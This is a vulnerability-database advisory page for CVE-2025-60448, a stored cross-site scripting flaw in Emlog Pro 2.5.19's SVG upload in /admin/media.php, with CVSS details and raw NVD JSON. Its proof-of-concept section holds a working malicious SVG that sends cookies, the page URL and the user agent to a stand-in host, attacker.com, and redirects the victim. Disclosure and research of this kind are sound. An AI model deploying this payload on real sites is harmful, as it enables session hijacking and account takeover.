Security Vulnerability Report
中文
CVE-2025-60448 CVSS 6.1 MEDIUM

CVE-2025-60448

Published: 2025-10-03 14:15:46
Last Modified: 2025-10-08 15:21:30

Description

A stored Cross-Site Scripting (XSS) vulnerability has been discovered in Emlog Pro 2.5.19. The vulnerability exists due to insufficient validation of SVG file uploads in the /admin/media.php component, allowing attackers to upload malicious SVG files containing JavaScript code that executes when the uploaded file is viewed.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:emlog:emlog:2.5.19:*:*:*:pro:*:*:* - VULNERABLE
Emlog Pro < 2.5.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60448 PoC: Stored XSS via SVG File Upload in Emlog Pro 2.5.19 --> <!-- Save the following content as malicious.svg and upload via /admin/media.php --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert(document.cookie);window.location='http://attacker.com/steal?cookie='+document.cookie"> <script type="text/javascript"> // Malicious JavaScript payload executed when SVG is rendered var img = new Image(); img.src = "http://attacker.com/steal?cookie=" + document.cookie + "&url=" + window.location.href; // Alternative: Steal admin session fetch('http://attacker.com/log', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }) }); </script> <rect x="0" y="0" width="100" height="100" fill="red"/> <text x="10" y="50" font-size="14">Benign looking SVG</text> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60448", "sourceIdentifier": "[email protected]", "published": "2025-10-03T14:15:46.277", "lastModified": "2025-10-08T15:21:30.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability has been discovered in Emlog Pro 2.5.19. The vulnerability exists due to insufficient validation of SVG file uploads in the /admin/media.php component, allowing attackers to upload malicious SVG files containing JavaScript code that executes when the uploaded file is viewed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.19:*:*:*:pro:*:*:*", "matchCriteriaId": "14DE5FC1-03FE-47D8-9958-0300C5B25F77"}]}]}], "references": [{"url": "https://snowhy77.github.io/2025/08/21/SVG-File-Upload-XSS-Vulnerability-in-Emlog-Pro/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}